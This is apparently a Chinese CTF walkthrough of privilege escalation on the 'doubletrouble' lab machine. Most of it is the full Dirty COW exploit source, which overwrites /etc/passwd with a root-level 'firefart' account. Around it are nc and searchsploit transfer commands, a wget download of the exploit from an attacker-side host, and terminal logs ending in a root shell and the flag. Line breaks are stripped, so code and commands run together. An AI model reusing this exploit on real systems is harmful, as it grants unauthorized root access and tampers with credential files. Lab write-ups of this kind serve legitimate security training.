靶机实战系列之doubletrouble靶机

searchsploit -m 40616.cnc  192.168.144.241 4444  <  40616.c  -w 1nc -lvnp 4444 > exp.cgcc exp.c  -o exp -pthread   //这里有个报错 不用管他chmod  +x  exp./exp

//// This exploit uses the pokemon exploit of the dirtycow vulnerability// as a base and automatically generates a new passwd line.// The user will be prompted for the new password when the binary is run.// The original /etc/passwd file is then backed up to /tmp/passwd.bak// and overwrites the root account with the generated line.// After running the exploit you should be able to login with the newly// created user.//// To use this exploit modify the user values according to your needs.//   The default is "firefart".//// Original exploit (dirtycow's ptrace_pokedata "pokemon" method)://   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c//// Compile with://   gcc -pthread dirty.c -o dirty -lcrypt//// Then run the newly create binary by either doing://   "./dirty" or "./dirty my-new-password"//// Afterwards, you can either "su firefart" or "ssh firefart@..."//// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!//   mv /tmp/passwd.bak /etc/passwd//// Exploit adopted by Christian "FireFart" Mehlmauer// https://firefart.at//#include <fcntl.h>#include <pthread.h>#include <string.h>#include <stdio.h>#include <stdint.h>#include <sys/mman.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/wait.h>#include <sys/ptrace.h>#include <stdlib.h>#include <unistd.h>#include <crypt.h>const char *filename = "/etc/passwd";const char *backup_filename = "/tmp/passwd.bak";const char *salt = "firefart";int f;void *map;pid_t pid;pthread_t pth;struct stat st;struct Userinfo {   char *username;   char *hash;   int user_id;   int group_id;   char *info;   char *home_dir;   char *shell;};char *generate_password_hash(char *plaintext_pw) {  return crypt(plaintext_pw, salt);}char *generate_passwd_line(struct Userinfo u) {  const char *format = "%s:%s:%d:%d:%s:%s:%sn";  int size = snprintf(NULL, 0, format, u.username, u.hash,    u.user_id, u.group_id, u.info, u.home_dir, u.shell);  char *ret = malloc(size + 1);  sprintf(ret, format, u.username, u.hash, u.user_id,    u.group_id, u.info, u.home_dir, u.shell);  return ret;}void *madviseThread(void *arg) {  int i, c = 0;  for(i = 0; i < 200000000; i++) {    c += madvise(map, 100, MADV_DONTNEED);  }  printf("madvise %dnn", c);}int copy_file(const char *from, const char *to) {  // check if target file already exists  if(access(to, F_OK) != -1) {    printf("File %s already exists! Please delete it and run againn",      to);    return -1;  }  char ch;  FILE *source, *target;  source = fopen(from, "r");  if(source == NULL) {    return -1;  }  target = fopen(to, "w");  if(target == NULL) {     fclose(source);     return -1;  }  while((ch = fgetc(source)) != EOF) {     fputc(ch, target);   }  printf("%s successfully backed up to %sn",    from, to);  fclose(source);  fclose(target);  return 0;}int main(int argc, char *argv[]){  // backup file  int ret = copy_file(filename, backup_filename);  if (ret != 0) {    exit(ret);  }  struct Userinfo user;  // set values, change as needed  user.username = "firefart";  user.user_id = 0;  user.group_id = 0;  user.info = "pwned";  user.home_dir = "/root";  user.shell = "/bin/bash";  char *plaintext_pw;  if (argc >= 2) {    plaintext_pw = argv[1];    printf("Please enter the new password: %sn", plaintext_pw);  } else {    plaintext_pw = getpass("Please enter the new password: ");  }  user.hash = generate_password_hash(plaintext_pw);  char *complete_passwd_line = generate_passwd_line(user);  printf("Complete line:n%sn", complete_passwd_line);  f = open(filename, O_RDONLY);  fstat(f, &st);  map = mmap(NULL,             st.st_size + sizeof(long),             PROT_READ,             MAP_PRIVATE,             f,             0);  printf("mmap: %lxn",(unsigned long)map);  pid = fork();  if(pid) {    waitpid(pid, NULL, 0);    int u, i, o, c = 0;    int l=strlen(complete_passwd_line);    for(i = 0; i < 10000/l; i++) {      for(o = 0; o < l; o++) {        for(u = 0; u < 10000; u++) {          c += ptrace(PTRACE_POKETEXT,                      pid,                      map + o,                      *((long*)(complete_passwd_line + o)));        }      }    }    printf("ptrace %dn",c);  }  else {    pthread_create(&pth,                   NULL,                   madviseThread,                   NULL);    ptrace(PTRACE_TRACEME);    kill(getpid(), SIGSTOP);    pthread_join(pth,NULL);  }  printf("Done! Check %s to see if the new user was created.n", filename);  printf("You can log in with the username '%s' and the password '%s'.nn",    user.username, plaintext_pw);    printf("nDON'T FORGET TO RESTORE! $ mv %s %sn",    backup_filename, filename);  return 0;

clapton@doubletrouble:/tmp$ wget http://192.168.9.7/dirty.c--2022-03-31 03:29:54--  http://192.168.9.7/dirty.cConnecting to 192.168.9.7:80... connected.HTTP request sent, awaiting response... 200 OKLength: 4815 (4.7K) [text/x-csrc]Saving to: `dirty.c'100%[==========================================================>] 4,815       --.-K/s   in 0s      2022-03-31 03:29:54 (866 MB/s) - `dirty.c' saved [4815/4815]clapton@doubletrouble:/tmp$ gcc -pthread dirty.c -o dirty -lcryptclapton@doubletrouble:/tmp$  ./dirty root/etc/passwd successfully backed up to /tmp/passwd.bakPlease enter the new password: rootComplete line:firefart:fiw.I6FqpfXW.:0:0:pwned:/root:/bin/bashmmap: 7f630f388000madvise 0ptrace 0Done! Check /etc/passwd to see if the new user was created.You can log in with the username 'firefart' and the password 'root'.DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwdDone! Check /etc/passwd to see if the new user was created.You can log in with the username 'firefart' and the password 'root'.DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwdclapton@doubletrouble:/tmp$ 

成功创建root权限用户firefart尝试切换用户firefart

clapton@doubletrouble:/tmp$ su firefartPassword: firefart@doubletrouble:/tmp# iduid=0(firefart) gid=0(root) groups=0(root)firefart@doubletrouble:/tmp# cd /rootfirefart@doubletrouble:~# lslogdel2  root.txtfirefart@doubletrouble:~# cat root.txt1B8EEA89EA92CECB931E3CC25AA8DE21firefart@doubletrouble:~#